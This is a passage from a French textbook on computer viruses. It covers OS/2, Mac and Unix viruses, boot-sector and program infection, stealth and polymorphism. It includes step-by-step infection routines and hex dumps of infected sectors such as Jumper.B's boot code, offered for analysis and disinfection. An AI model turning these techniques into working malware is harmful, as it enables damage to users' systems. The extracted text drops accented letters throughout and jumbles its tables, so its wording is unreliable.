W32/MTX@MM). Le mode FICHIER <-> FICHIER ne fonctionne pas ou nexiste pas. La propagation se fait uniquement par mail. On utilisera le suffixe adquat (exemple W97M/Melissa.T@MM, JS/Kak.A@M, W32/Ska@M, VBS/Loveletter.A@MM). Mme si pour dobscures raisons le tiret remplace larobase; compter de septembre 2000, la WildList utilisait, elle aussi, ce standard.
4) !<spcique-vendeur> Ce champs est l pour permettre de grer les carts que les chercheurs de telle ou telle compagnies sont amens faire lorsquils doivent sadapter la demande de leurs clients, ou lorsquils souhaitent prciser un dtail technique li une menace prsente ou mergente.
127
Lexemple le plus visible aujourdhui est !p2p qui dcrit des virus utilisant le mode poste poste (peer-to-peer) pour se propager (exemple : W32/Benjamin.worm !p2p).
3.5.1 OS/2
Le systme dexploitation 32 bits cr par IBM (Operating System 2) nest pas insensible aux virus DOS. Les virus systme peuvent tout fait infecter une machine fonctionnant sous OS/2. Cependant le virus sera bloqu dans sa phase de propagation. Une activation de la charge nale du virus (comme le reformatage de certains secteurs du disque) est possible si la gchette de dclenchement effectue un test lors de lexcution initiale du virus. Limplantation du virus dans un environnement qui nest pas celui escompt peut aussi dnitivement endommager la machine qui ne parviendra plus terminer sa squence de dmarrage. En session DOS, la propagation danciens virus programme reste possible sous rserve que le virus nutilise pas de fonctions trop spciques. Il existe depuis 1995 des virus ddis aux chiers applicatifs OS/2 (LE Linear Executables et LX). Les premiers dentre eux apparurent en juin et se nomment OS2/ Myname et OS2/Jiskefet. Lun des plus volus a vu le jour un an plus tard et porte le nom de OS2/AEP.
Tableau 3.7 Quelques virus OS2 VIRUS OS2/MYNAME OS2/JISKEFET OS2/AEP TYPE Non Rsident Recouvrement Non Rsident, Ajout Non Rsident, Ajout ALIAS OS2/FIRST, OS2Vir DATE 06/95 06/95 06/96
128
3.5.2 MacOS
Les virus Windows nont aucun effet sur les Macintosh, il faut cependant prendre garde aux macro-virus et aux mass-mailers. Non dpendants de la plate-forme systme, les macro-virus se propagent au travers des outils bureautiques tels que ceux fournis par Microsoft. Les versions de Microsoft Ofce tournant sur Mac sont donc vulnrables. Associ un courrier lectronique, un chier attach infect peut trs bien transiter sur un Macintosh. Si lon y prend garde, il pourra tre reu puis retransmis sans simplanter sur la machine. La plupart des virus Macintosh connus sont bnins et ne dtruisent aucune donne. Ils se contentent dafcher des images ou des messages. Les virus Macintosh sont trs spciques et en nombre rduit. Ils ne peuvent pas infecter des programmes Windows. Il en existe une soixantaine. Le premier dentre eux date de 1987.
Tableau 3.8 Quelques virus Macintosh VIRUS MacOS/nVIR TYPE Infecte le systme et les applications Infecte les applications et les fichiers de donnes Infecte le bureau Via la fonctionnalit Lecture Auto (Autostart U.S.) du tableau de bord Rglages QuickTime (QuickTime settings U.S.) Ver AppleScript utilisant les fonctionnalits de script de Outlook Express et de Entourage AUTOSTART 9805 ALIAS Hpat, nFLU, AIDS, MEV#, Jude, Fuck, nCAM, zero DATE 1987
MacOS/Simpsons@MM
06/01
Deux virus doivent retenir notre attention : MacOS/Autostart et MacOS/Simpsons@MM. Le premier dentre eux affecte les PowerPC. Il sintroduit sur le bureau sous forme de chier invisible. Le second se propage via la messagerie lectronique tout comme les nombreux mass-mailers du monde Windows. Il sagit du premier virus AppleScript utilisant les fonctionnalits de script de Outlook Express et de Entourage. Le ver arrive dans un e-mail avec deux pices jointes et le texte suivant :
129
Hundreds of Simpsons episodes were just secretly produced and sent out on the internet, if this message gets to you, the episodes are enclosed on the attachment program, which will only run on a Macintosh. You must have system 9.0 or 9.1 to watch the hilarious episodes, in high quality. Just download and open it. Pour cacher son activit, il pointe Internet Explorer vers un site Web concernant lmission tlvise Les Simpsons1. Les chiers joints sont : Secret Simpsons Episodes!, et Simpsons Episodes. Le premier chier est une copie MIME du mail et le second chier contient le script viral. Une fois lanc, il se place dans le dossier Startup Items pour sexcuter automatiquement.
3.5.3 UNIX
Le mythe qui consiste dire quUnix est insensible aux virus persiste toujours. Tout comme pour OS/2 les virus systme ddis au DOS peuvent tout fait affecter une machine fonctionnant sous Unix. Il ny aura pas propagation mais activation ventuelle de la charge finale (si elle existe) ou corruption du processus de dmarrage. Les projecteurs sont souvent braqus sur Linux, quelques virus existent cependant dans les environnements BSD et SunOS. Les virus possdant le prxe Unix sont multi plateformes.
Tableau 3.9 Quelques virus Unix-like VIRUS Unix/Scalper.worm
Dunod La photocopie non autorise est un dlit
TYPE BSD & LINUX Non Rsident, Ajout Non Rsident, Ajout, Crypt Rsident, Ajout Rsident, Ajout, Polymorphe, Point dEntre Obscure
ALIAS
MANDRAGORE
01/00 01/00
1. http://www.snpp.com/episodeguide.html.
130
Les virus Unix existent depuis longtemps. Le premier dentre eux date de 1997 et se nomme Linux/Bliss. Dans un premier temps ils furent simples et non-rsidents en mmoire. Ils sont maintenant aussi performants que les virus 32 bits Windows. Ils mettent en uvre des techniques pointues de polymorphie et utilisent, pour certains, la technique du point dentre obscur qui rend leur dtection plus difcile que par le pass. En juin 2002, exploitant sans imperfection ces dernires techniques, apparat {W32, Linux}/Etap.D. Il sagit du premier virus mme dinfecter aussi bien les machines Windows que les machines Linux. galement connu sous les noms de {Win32, Linux}/Simile.D, il vrie, sa premire excution, la date du jour. Sil sagit du 17 mars ou du 17 septembre (sous Windows) ou du 17 mars ou du 17 mai (sous Linux) il afche une boite de dialogue prcisant son crateur : un certain Mental Driller, du groupe 29A.
4
Les virus systme
Les virus systme sont longtemps rests la principale menace. Mme sils ont aujourdhui disparu des machines modernes, leur description va permettre au lecteur une premire approche de la vision en mode hexadcimal que nous utiliserons intensivement dans le chapitre li aux virus programmes.
132
la mise sous tension, le processus dbute par lexcution du BIOS1. Ce programme est contenu dans la ROM (mmoire morte), lEPROM ou la Flash EPROM (EEPROM) de la machine. Il teste la quantit de mmoire, le matriel et recherche les diffrentes units physiques pour trouver celles qui contiennent rellement un disque. Le BIOS utilise les paramtres de conguration de la mmoire RAM CMOS. Ceux ci contiennent entre autre le squencement par lequel les disques doivent tre activs. Par exemple : Lecteur de disquette. CD-ROM. Disque dur C:. Le premier secteur de lunit choisie est alors charg en mmoire vive (RAM) et excut. Il va permettre la recherche du systme dexploitation. Sur les disquettes, ce secteur est un court programme qui teste la prsence du systme DOS et le charge. Si celui ci est absent, cest ce programme qui afche le message : Disque non systme. changer de disque et appuyer sur une touche. Avec les systmes dexploitation Windows NT, on rencontre galement le message : NTLDR manque. Appuyez une touche pour redmarrer. Sur un disque dur, ce premier secteur est le secteur des partitions, ou Master Boot Record (MBR). Il dcrit la structure logique du disque et re-dirige le programme dinitialisation vers la partition active. Celle ci concide gnralement avec le premier disque logique. Pour un fonctionnement correct, cette unit doit tre amorable et contenir un systme dexploitation. Dans le cas contraire le message dj mentionn ci-dessus apparatra. La main est ainsi donne au premier secteur de la partition active. Cest le secteur de dmarrage, ou Boot sector. Il contient une routine appele Boot Strap Loader. Cest elle qui effectue la recherche du systme dexploitation en RAM. Il sagit soit : des fichiers IBMBIO.COM et IBMDOS.COM (ou IBMDOS.SYS et IBMBIO.SYS) pour les versions PC-DOS dIBM, des fichiers IO.SYS et MSDOS.SYS pour les versions MS-DOS ou Windows 9X de Microsoft,
133
du fichier NTLDR pour les versions Windows NT/2K/XP de Microsoft. Ces chiers se trouvent directement la racine du disque dur et permettront le chargement du noyau de lOS.
Pour adresser le premier mga-octet, il faut 20 bits dadresse. Elles sexpriment toujours sous forme Segment:Offset (exemple : A000h:0000h). Le calcul dune adresse mmoire se fait par laddition dune base (le segment) et dun dplacement (loffset), tous deux de 16 bits. La base est dcale de 4 bits avant laddition pour obtenir une adresse physique de 20 bits. Exprim en hexadcimal, ladresse de dmarrage des PC se trouve en FFFFh:0000h. FFFFh est le segment et 0000h est loffset. Cela correspond ladresse linaire FFFF* + *0000 = FFFF0h o ltoile indique un dcalage.
134
Les donnes gnres par le BIOS sont localises compter de ladresse 0040h:0000h. Nous en retrouverons certaines, plus tard, dans ce chapitre. Il sagit de : la taille de la mmoire RAM : (0040h:0013h // 413h), le chronomtre (0040h:006Ch // 46Ch). Cette valeur, intitule aussi compteur de ticks, est incrmente chaque appel de lhorloge (timer), soit approximativement 18,2 fois par seconde. Le secteur de partition est charg en mmoire par le BIOS ladresse 0000h:7C00h.
135
tion INT du langage machine. Les paramtres sont passs dans les registres. Ils sassocient des fonctions prcises. Parmi les plus courantes, citons : la lecture de secteurs, fonction 02h, lcriture de secteurs, fonction 03h, la lecture des paramtres dune unit, fonction 08h. Voici titre dexemple, un petit programme en assembleur qui lit le secteur contenant les informations sur les partitions.
Buf ... Mov Mov Mov Mov Mov Mov Push Pop Mov Int DB ah,02h al,01h ch,00h cl,01h dh,01h dl,80h ds es bx, Offset Buf 13h 512 DUP (?) ; ; ; ; ; ; Fonction 2 Lire 1 secteur Cylindre 0 Secteur 1 Tte 0 Disque C :
Un virus ne va pas se contenter dutiliser les interruptions. Il va les dtourner. Cela permettra lexcution du code viral pralablement celui de la fonction attendue. Les interruptions sont stockes en mmoire des adresses xes. La table suivante donne ladresse de quelques vecteurs dinterruption ainsi que les services rendus par chacun deux.
Dunod La photocopie non autorise est un dlit
Tableau 4.1 Quelques interruptions et leurs adresses linaires hexadcimales N 08h 12h 13h 1Ah 1Ch 21h Adresse linaire (hexadcimal) 020-023 048-04B 04C-04F 068-06B 070-073 084-087 Fonction IRQ0 : Timer (Appel 18,2 fois par secondes) BIOS : Dtermination taille RAM BIOS : Fonction disquettes/disque dur BIOS : Lecture date et heure Appel aprs chaque INT 08h DOS : Fonction du DOS
136
137
Il est possible de visualiser par vous-mme ces donnes. En utilisant le programme DEBUG et aprs avoir insr la disquette dans le lecteur, il suft de taper :
DEBUG -L 100 0 0 1 -D 100
138
Pour sortir du programme, il faut taper Q (pour Quitter) linvite symbolise par le tiret :
-Q
Les trois premiers octets reprsentent une instruction de saut vers le point de commencement effectif du programme. Ce peut tre une instruction de saut normal (sur trois octets) ou, comme ici, un short jump qui ne ncessite que deux octets ; le troisime tant un nop qui veut dire NO OPERATION et correspond 90h en hexadcimal. Les 43 octets suivants correspondent un bloc de donnes que DISKEDIT nous permet de comprendre au travers de son visionneur de zone damorce. Ce bloc porte le nom de BPB (Bloc de Paramtres Bios).
*********** Zone amorce *********** Sect. 0 ID OEM: Octets par secteur: Secteurs par groupe: Secteurs rservs du dbut: Exemplaires de la table FAT: Entres du rpertoire Racine: Nombre de secteurs du disque: Octet descripteur du Media: Secteurs par FAT: Secteurs par piste: Ttes: Secteurs cachs spciaux: Grand total du nombre de secteurs: Numro physique du disque: Signature de Zone Amorce tendue: Numro de Srie du Volume: Nom du Volume: ID Systme fichiers: MSDOS5.0 512 1 1 2 224 2880 F0 Hexa 9 18 2 0 (Inutilis) 0 29 Hexa ECA74BFE Hexa NO NAME FAT12
Ces donnes sont ncessaires pour les diffrentes fonctions BIOS. Le DOS les utilisent galement dans des buts varis. Certains virus les modieront, mais la structure de la zone sera prserve. Vient ensuite le programme damorce proprement dit. Il se termine par une zone de texte qui sera afche en cas dchec de dmarrage. Ce code, prsent sur la disquette, est le premier tre excut par le BIOS depuis ce support. Les deux derniers octets sont la signature du secteur (55h AAh).
139
Le bloc des paramtres BIOS (BPB) contient des donnes diffrentes de celles des disquettes. Le visionneur nous les fait dcouvrir. Parmi elles, on notera : La taille dun cluster (secteurs par groupe). Cest lespace le plus petit pouvant tre gr par le systme. Limit un secteur pour les disquettes, il varie selon la taille du disque dur. Le nombre de fichiers acceptables dans le rpertoire racine.
140
Loctet descripteur de Media. Il indique le type de machine permettant de traiter le support. Parmi les codes utiliss, citons : F0h pour les disquettes 3 pouce 1/2. F8h pour les disques durs. La taille du disque et de ses FAT1. Que ce soit sur une disquette ou un disque dur, la zone programme est similaire. Sil ne cible pas le secteur de partition, cest l que le virus sinstallera. Ce code, prsent sur le disque dur, est le second tre excut par le BIOS depuis ce support (le premier tant le code de partition).
Dcrit prcdemment, le secteur damorage se situe dans le premier secteur physique du disque. La table dallocation des chiers (FAT) est situe aprs le secteur damorce. Elle est utilise par le DOS pour garder la trace des secteurs libres, utiliss ou endommags. Pour chaque chier, la FAT gre une sorte dindex dans lequel sont dnis et reprs tous les clusters qui le constitue. Cest une zone vitale ; si elle est endommage, les informations enregistres sur le disque risquent de devenir inaccessibles alors que les chiers sont encore intacts. Pour viter cette situation, une seconde FAT, copie conforme de la premire, est tenue jour lors de chaque modication. Chaque information enregistre dans la FAT dune disquette comporte 12 octets. Chaque champ de la FAT contient une valeur correspondant ltat dutilisation du cluster rfrenc.
1. File Allocation Table ou Table dAllocation de Fichiers. Zone ddie au systme de gestion des chiers utilis par le DOS (voir paragraphe suivant).
141
Tableau 4.2 Descriptif dune FAT12 FAT12 000h FF0h-FF6h FF7h FF8h-FFFh XXXh (autre valeur) Cluster inutilis Cluster rserv Cluster dfectueux Dernier cluster du fichier ou de rpertoire n cluster suivant du fichier ou du rpertoire Description
Avant la zone de donnes, se trouve le rpertoire racine. Quand un chier est cr sous la racine, les informations le concernant (nom, extension, date, taille etc.) sont mmorises dans des espaces ddis cet effet. Parmi ces informations, gure le numro du premier cluster attribu au chier. Si le chier a besoin de plusieurs clusters, leurs numros et squencement sont stocks dans la FAT.
142
la diffrence des disquettes, chaque information enregistre dans la FAT comporte 16 ou 32 bits.
Tableau 4.3 Descriptif des FAT16 et FAT32 FAT16 0000h FFF0h-FFF6h FFF7h FFF8h-FFFFh XXXXh (autre valeur) FAT32 00000000h 0FFFFFF0h-0FFFFFF6h 0FFFFFF7h 0FFFFFF8h-0FFFFFFFh 0XXXXXXXh (autre valeur) Cluster inutilis Cluster rserv Cluster dfectueux Dernier cluster du fichier ou de rpertoire n cluster suivant du fichier ou du rpertoire Description
143
6. Lecture du code complmentaire du virus et chargement la suite du code prcdent (Int 13h, fonction02h). 7. Saut dans la partie recopie (instruction RETF) pour poursuivre lexcution du code viral. 8. Lecture et chargement du secteur de dmarrage sain son adresse habituelle (Int 13h, fonction 02h). 9. Routine de contamination du disque dur. Elle sera dtaille au paragraphe suivant. Si elle choue ou si le disque dur est dj contamin, le processus saute immdiatement ltape suivante. 10. Dtournement de linterruption 13h pour faire pointer le vecteur sur le code viral ddi linfection des disquettes. 11. Lecture de la date systme. Selon la valeur lue, le virus dtournera ou non, linterruption 09h (IRQ1 : clavier) pour quelle pointe sur la routine virale ddie aux dommages (il ne sagit ici que de perturbation). 12. Fin du processus. Excution du BOOT sain prcdemment charg en mmoire.
144
En gure 4.10, lune des chanes hexadcimales caractristique du virus Form est note en gras. Sans anti-virus, elle pourrait permettre la dtection de cette variante.
Figure 4.11 Synoptique de linfection dun disque dur par le virus FORM.A
145
1. Analyse des paramtres lis lappel de linterruption. Le processus dinfection se poursuit si : la cible est une disquette, la fonction appele est la lecture dun secteur (Int13h, fonction 02h), le cylindre cibl est le cylindre 0, 2. Lecture du secteur de dmarrage de la disquette (Int 13h, fonction 02h). Le processus se termine sans contamination si : le disque est dj contamin, la taille du secteur est diffrente de 512 octets, 3. Localisation et lecture de la premire FAT (Int 13h, fonction 02h). Recherche des 2 premiers secteurs libres qui seront dclars dfectueux (Int 13h, fonction 03h). 4. Mise jour de la seconde FAT (Int 13h, fonction 02h & 03h). 5. Lecture du secteur de dmarrage de la disquette (Int 13h, fonction 02h). 6. criture de ce secteur vers le second secteur dsign mauvais (Int 13h, fonction 03h). 7. criture du code complmentaire du virus dans le premier secteur dsign mauvais (Int 13h, fonction 03h). 8. Recopie du BPB du secteur de dmarrage de la disquette lemplacement qui lui est rserv dans le code du virus. 9. criture de la signature de fin de secteur (55h AAh) lemplacement qui lui est rserv dans le code du virus. 10.criture des 512 premiers octets du code du virus en lieu et place du secteur de dmarrage de la disquette (Int 13h, fonction 02h).
146
4D 65 6F 67 20 20 69 74
2D 65 6E 20 64 64 63 6F
56 74 65 74 6F 61 21 20
69 69 20 68 65 74 20 43
72 6E 77 69 73 61 46 6F
75 67 68 73 6E 21 75 72
73 73 6F 20 27 20 63 69
20 20 27 74 74 44 6B 6E
73 74 73 65 20 6F 69 6E
1. Nombre doctets sauter depuis le dbut dune zone de code (ici le secteur de partition) pour atteindre linformation recherch (ici la table des partitions).
147
148
Le visionneur employ pour le secteur damorce est aussi utilisable ici. Il illustre les donnes de la table.
149
Figure 4.17 lments de la zone damorce dune disquette infecte par Jumper.B
Le code du virus dbute de faon habituelle. Aprs linitialisation des registres, il : Rduit la taille de la mmoire disponible pour sen rserver un espace dans la zone suprieure. Transfert son code dans lespace rserv. Saute dans la zone pour continuer lexcution. Avant lexcution du saut, le virus lit la valeur du compteur de ticks (chronomtre). En fonction de celle ci, il entrera parfois dans une boucle sans n qui remplit lcran de caractres Epsilon (EDh). Dans le cas contraire, il dtourne linterruption 1Ch et poursuit son lexcution en zone haute de la mmoire. Il charge le secteur original (BOOT ou MBR) quil avait sauvegard au moment de son infection. Vriant le type de support, il infecte le disque dur dans la mesure ou il constate quil a t lanc depuis une disquette. Pour nir, il redonne la main au secteur original. Les interruptions 13h ou 21h nont pas t dtournes. Une fois le code viral rsident en mmoire, linfection des disquettes ne peut encore avoir lieu. Le code viral est cependant appel au travers de linterruption 1Ch, cest--dire 18,2 fois par seconde. Une procdure complexe lui permet de dnir le moment opportun pour dtourner linterruption 21h sans perturber un ventuel chargement du systme dexploitation1.
1. WHALLEY Ian (avril 1995), Jumper: Jumping the Gun, Virus Bulletin, avril 1995, pp 11-12.
150
Jumper utilise en effet des fonctions du DOS (INT 21h) pour infecter les disquettes, au lieu des fonctions BIOS (INT 13h) utilises en gnral par les autres virus systme. Une fois dtournes, Jumper intercepte les fonctions 0Eh (slection dun disque) et 0Ah (lecture dune chane de caractres). Si ces appels sont en relation avec un vnement sur les lecteurs A: ou B: les disquettes seront infectes. Elles le seront si les deux premiers octets du premier secteur physique ne sont pas EAh 05h, cas dune disquette dj infecte.
******************* Table de Partitions *******************
00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0: 000001B0: 000001C0: 000001D0: 000001E0: 000001F0: EA BF B3 CB 7C 00 0A C4 A5 06 B8 00 01 00 00 00 05 00 04 75 31 90 72 06 FA 50 01 F8 00 00 00 00 00 06 80 EF C0 B1 0C 26 C7 CB 02 03 06 00 00 00 C0 B9 3C CD 8E 06 24 88 06 1E CD 00 FE 00 00 00 07 00 80 18 D0 A3 1F 26 70 53 13 01 7F 00 00 00 EB 01 74 8B 89 13 75 C6 00 1E 72 FD 04 00 00 00 37 F2 0E 14 DC 04 08 01 2F 07 C0 0F 3F 00 00 00 0E A5 80 8B 8E D3 B8 89 01 8B 80 00 00 00 00 00 00 EA 3C 4C D8 E0 ED DE 8C 4F FA 01 00 00 00 00 80 1D 00 02 89 8E 0E E8 06 07 80 F0 00 00 00 00 00 06 75 8B C7 C0 40 36 72 8B 74 05 86 00 00 00 07 00 1C EE A1 A1 CD 00 00 57 05 00 FA 00 00 00 50 00 83 83 13 6C 10 BE FB 09 B2 01 3F 00 00 00 1F BE C6 C6 04 04 EB 70 B8 80 80 F9 00 00 00 00 FB BE 10 BB 2D 80 F8 00 93 E2 E8 80 00 00 00 55 FC 07 FE 00 02 FC 80 A5 00 80 13 01 00 00 00 AA ......7.....P.. ................ ...<.t..<.u..... .u......L....... |1............-. ............l... .r.$u....@..... ..&.&.....6..p.. ....p./...r..... .P..S...O..W.... .....r....t..... ................ .... .?.....?... ................ ................ ..............U.
151
Forant ainsi le dmarrage sur le disque C:, il interdit lutilisation dune disquette saine, et donc dun anti-virus. La solution la mieux adapte pour restaurer la conguration ncessite datteindre le SETUP de la machine pour y ractiver le lecteur.
4.5.2 Furtivit
Pour le virus, il sagit de se dissimuler aux yeux de lanti-virus comme ceux de lutilisateur. La furtivit peut se traduire par : Linterception des requtes en lecture du secteur infect afin de retourner le contenu du secteur original au programme appelant. En milieu infectieux, si la fonction 02h de linterruption 13h est dtourne, le virus sera mme de dissimuler sa prsence. Si la demande de lecture concerne un secteur o se trouve localis le virus, celui ci renverra une image saine provenant du secteur sauvegard. Lexcution dun redmarrage chaud (via linterruption 19h) alors quun redmarrage froid est demand (saut vers FFFFh:0000h). Linterception des requtes en criture vers le secteur infect. Celles-ci se produisent mais la rinfection est immdiate. FDISK /MBR1 est, par exemple, rendu inefficace. Linterdiction de lecture de certains secteurs (dtournement des interruptions 0Eh et 76h). Linterception des requtes daffichage de ltat de la mmoire afin quune commande telle que CHKDSK retourne une taille mmoire totale disponible maximale (gnralement 655.360 octets). Linstallation du code dans une zone immdiatement suprieure la barrire des 640 Ko. Cette technique fut utilise par EDV. L aussi, CHKDSK retourne la valeur standard.
152
Face cette situation, il est tentant de lancer un formatage bas niveau du disque. Toutes ces manipulations qui entranent de facto la perte des donnes sont bien videmment inadaptes. La restauration de quelques octets grce lutilisation dun diteur hexadcimal offrant un accs en mode physique sur le disque rsout sans dlai le problme. Lun des virus utilisant ce procd date doctobre 1992 : cest Monkey. Le secteur des partitions est intgralement cras. Une copie du secteur original est sauvegarde sur le troisime secteur physique du disque. Tout comme le reste du secteur, la table des partitions na cependant pas la physionomie habituelle.
*********************** 1 secteur slectionn ***********************
.. 000001B0: 000001C0: 000001D0: 000001E0: 000001F0: 2E 2F 2E 2E 2E 2E 2E 2E 2E 2E 2E 28 2E 2E 2E 2E D0 2E 2E 2E 2E 51 2E 2E 2E 2E 2A 2E 2E 2E 2E 11 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E A8 2E 2E 2E 2E D4 2E 2E 2E 2E 11 2E 2E 2E 2E 2E 2E 2E 2E AE 2E 2E 2E 7B 2F 2E 2E 2E 84 .............../ /.(.Q*.......... ................ ................ ..............{.
nota : cryptage XOR 2Eh XOR 2Eh = 00h AEh XOR 2Eh = 80h (offset 1BEh) 2Fh XOR 2Eh = 01h (offset 1BFh)
Figure 4.19 Physionomie dune table de partition aprs infection par Monkey
Une tude attentive du secteur dmontre que chaque octet a t crypt par une fonction XOR dont la cl est 2Eh. Lradication manuelle consiste alors atteindre le disque en mode physique et transfrer vers le premier secteur, les donnes dcryptes prsentes dans le troisime. Un autre virus, Rainbow, est beaucoup plus pnalisant. Une fois le disque infect, il nest plus possible de latteindre, aussi bien en mode logique quen mode physique. Le processus de BOOT depuis une disquette saine naboutit jamais1. Seuls 25 octets du secteur des partitions sont modis. Le reste du code viral est crit dans 5 autres secteurs. Les 16 octets relatifs la partition active sont sauvegards dans le code complmentaire (secteur 6, offset 132h)2 et remplacs par la squence :
00 00 01 00 05 00 B8 0B 00 00 00 00 BC 01 00 00
1. Le virus est multipartite et non crypt. Il contient le message : HiAnMiT roy g biv *4U2NV* 04/12/94 Roy g biv est lacronyme des couleurs de larc-en-ciel : Red Orange Yellow Green Blue Indigo Violent. 4U2NV peut se lire For you to envy. 2. KAMINSKY Jakub (1995), Rainbow : To Envy or to Hate, Virus Bulletin, septembre 1995, pp12-13.
153
Cette squence est interprte par le systme dexploitation comme tant relative une partition DOS tendue non-active : Dmarrant en cylindre 0, tte 0, secteur 1. Se terminant en cylindre 523, tte 0, secteur 56. Dmarrant au niveau du premier secteur physique du disque. Contenant 444 secteurs.
Linformation importante est ladresse du premier secteur qui se trouve tre la fois dni comme secteur de partition et de dmarrage. On a alors affaire une partition rcursive que le DOS, depuis la version 5, ne sait grer. Il sagit bien dun bogue qui avait t mis jour 2 ans plus tt par Mike Lambert & Charlie Moore1. Rapidement corrig par IBM ds la version PCDOS 6.1, Microsoft t la sourde oreille laissant son chier IO.SYS vulnrable avec les versions suivantes de MS-DOS. Les solutions pour atteindre un disque dur infect sont les suivantes : Dmarrer avec un MS-DOS plus ancien (v3.3 ou V4.01). Dmarrer avec un DOS IBM rcent (PCDOS 6.1 et suprieur). Modifier le fichier IO.SYS2.
154
4.5.6 Multipartisme
Un virus multipartite (certains utilisent le terme de bivalent) cherche infecter les zones systmes des disques durs ou des disquettes et les fichiers excutables. Selon des critres propres chaque virus, lune ou lautre des techniques dinfection est mise en uvre un instant donn. Le but recherch est une plus grande propagation. Parmi les virus multipartites, citons : Flip, Tequila, One_Half.
4.5.7 Polymorphie
Les virus systme polymorphiques sont trs peu nombreux. Lun dentre eux, Moloch est apparu au printemps 1996. Un message, crypt dans le code indique :
OH-MY-GOD! Moloch (tm) is here! Moloch is a trademark of SquiBoyz
Le code complmentaire, crypt, est positionn sur les secteurs 3,4 et 5 du disque dur. Sur les disquettes, le virus cre un 80me cylindre selon la technique explicit plus avant dans le chapitre. De mme, le virus cherche modier la CMOS an dinterdire le dmarrage A: avant C:. La loi lie au moteur polymorphique est simple ; mais modiant peu doctets dans le secteur de dmarrage, la dtection sen trouve malaise. Moloch interverti les instructions de dplacements entre registres et mmoire. Il le fait tantt octet par octet, tantt mot par mot.
155
Si lINT 13h pointe en RAM, les pilotes 32 bits ne seront pas chargs et un virus systme conservera gnralement ses capacits de reproduction sur les disquettes qui lui seront prsentes. En mode 32 bits de Windows : le virus simplantera gnralement sur la machine. Il ny aura pas de propagation vers les disquettes. Si une action diffre en criture est programme, elle se droulera sans problme dans la mesure ou elle sopre alors que lordinateur travaille toujours en mode rel. Un virus initialisant un compteur pour craser une srie de secteurs aprs un nombre dfini de dmarrage est donc redouter. En environnement NTFS ou non-Windows : dans de rares cas, le virus se comportera comme prcdemment. Plus gnralement, il risque dcraser des secteurs vitaux lors de sa tentative dinfection du disque. Il en rsultera un chec au dmarrage. Sans lintervention dun spcialiste, le disque devra bien souvent tre reformat.
5
Les virus programme
Apparus peu de temps aprs les virus systme, les virus programme sont longtemps rests quelques exceptions prs confins dans les collections. Les changes dexcutables dun utilisateur lautre restaient trop peu frquents. Si certains dentre eux ont atteint une vritable notorit cest quils furent malencontreusement diffuss sur des CD-ROM commerciaux. Nous allons dbuter ce chapitre en dcrivant les diverses mthodes dinfection. Nous naborderons pas dans le dtail la description des virus dancienne gnration ; ceux fonctionnant en environnement DOS. Nous privilgierons les pratiques actuelles. Plus technique que les autres, cette partie pourrait effrayer certains lecteurs. Pour comprendre les virus systme, nous avons d comprendre la mise en marche dun ordinateur. Une mme dmarche doit sappliquer aux virus programme : pour les comprendre, il faut se pencher pralablement sur la structure des excutables 32 bits. Pour rendre plus comprhensif cette seconde partie, de nombreuses images de code en mode hexadcimal vous sont proposes. Seul sur sa machine, le virus programme reste une menace de faible poids, mais associ la technique du ver, il devient la principale origine de nos soucis actuels.
158
5.1.1 Recouvrement
Un virus par recouvrement se contente dcraser partiellement ou en totalit, le programme quil infecte. En consquence, il le dtriore et rend sa restitution impossible par lanti-virus. Dans certains cas, la taille du programme infect nest pas modifie ; dans les cas contraires, celle ci sajuste la taille du code viral et devient identique pour tout fichier infect. La destruction, mme partielle, du code originel fait que celui-ci ne peut plus fonctionner correctement et seul le code viral sexcute. Ces virus ne sont gnralement pas rsidents en mmoire. Le logiciel ne ralisant pas la fonction souhaite, lutilisateur les dtecte rapidement. Les virus agissant par recouvrement ne russissent jamais se dissminer largement. Un chier infect selon cette mthode ne peut qutre effac et remplac par son original sain dans le cas o une sauvegarde existe. titre dexemples, citons dans cette famille : BadGuy : Les 264 premiers octets des fichiers COM du sous-rpertoire courant sont tous crass. W32/HLL.ow.ANT.A : Les excutables sont remplacs par le code du virus. Tous les fichiers ont ensuite une taille identique 14.848 octets ; cest la taille du virus. W32/HLL.ow.Jetto : La taille du virus est de 7170 octets. Les 7170 premiers octets de chaque fichier sont crass par le code du virus. La suite des fichiers est inchange, ceux ci gardent leur taille dorigine. LINUX/Radix.ow : Il fonctionne selon la mthode prcdente mais en environnement LINUX. On retrouve cette technique dinfection par recouvrement dans dautres familles virales : VBS/Entice.ow est un virus VBScript qui agit selon cette mthode.
159
5.1.2 Ajout
Un virus par ajout modifie sa cible sans la dtruire. chaque lancement, le virus sexcute tout en prservant les fonctionnalits normales du programme. Il est possible de considrer le virus comme une sous-routine supplmentaire qui sexcute discrtement un moment donn puis rend la main au programme lgitime qui poursuit sa marche normale. La taille du programme est augmente de la taille du virus. Certains lments vitaux indispensables au bon fonctionnement du programme initial sont dplacs, sauvegards et modis. La restitution dun original sain consiste inverser le processus dinfection en restituant les valeurs originales avant llimination du code parasite qui, entre autres, les contient.
Dunod La photocopie non autorise est un dlit
Le code viral sexcute gnralement en premier. Plusieurs cas sont envisageables : Les registres de segment et doffset (CS:IP et SS:SP) des programmes DOS/ EXE sont modifis pour pointer sur le code viral. Ladresse du point dentre des programmes 32 bits est modifie pour pointer sur le code viral. Ladresse du dbut de programme est inchange, mais celui-ci dbute par une ou plusieurs instructions se concluant par un saut vers le code viral. Dans le cas de la technologie dite du point dentre obscur, le point dentre du programme et les instructions qui sy situent sont inchangs. Le virus positionne son saut dans un endroit quelconque mais soigneusement choisi du code de lhte. Cette technique est trs pnalisante pour les anti-virus qui doivent largir fortement leur zone de recherche.
160
Le positionnement physique du code viral permet de prciser des sous-familles au sein de la mthode : Positionnement physique lavant. La terminologie anglaise utilise le terme de prepender. Positionnement physique larrire. La terminologie anglaise utilise le terme dappender. Positionnement physique central ou dispers. La majorit des virus programmes infectent par ajout. Citons pour lexemple : Jerusalem.1813 : La taille des fichiers COM augmente de 1813 octets avec un positionnement physique lavant. Cinq octets sont galement ajouts en fin de fichier. Il sagit de la signature du virus. Les EXE (DOS) grossissent de 1808 octets avec un positionnement larrire. Les registres de segment et doffset sont modifis pour faire pointer le dbut du programme vers cet endroit.
161
Cascade.1701 : Les fichiers COM, y compris le COMMAND.COM, augmentent en taille de 1701 octets. Le saut initial est modifi pour faire pointer le dbut du programme sur le code viral.
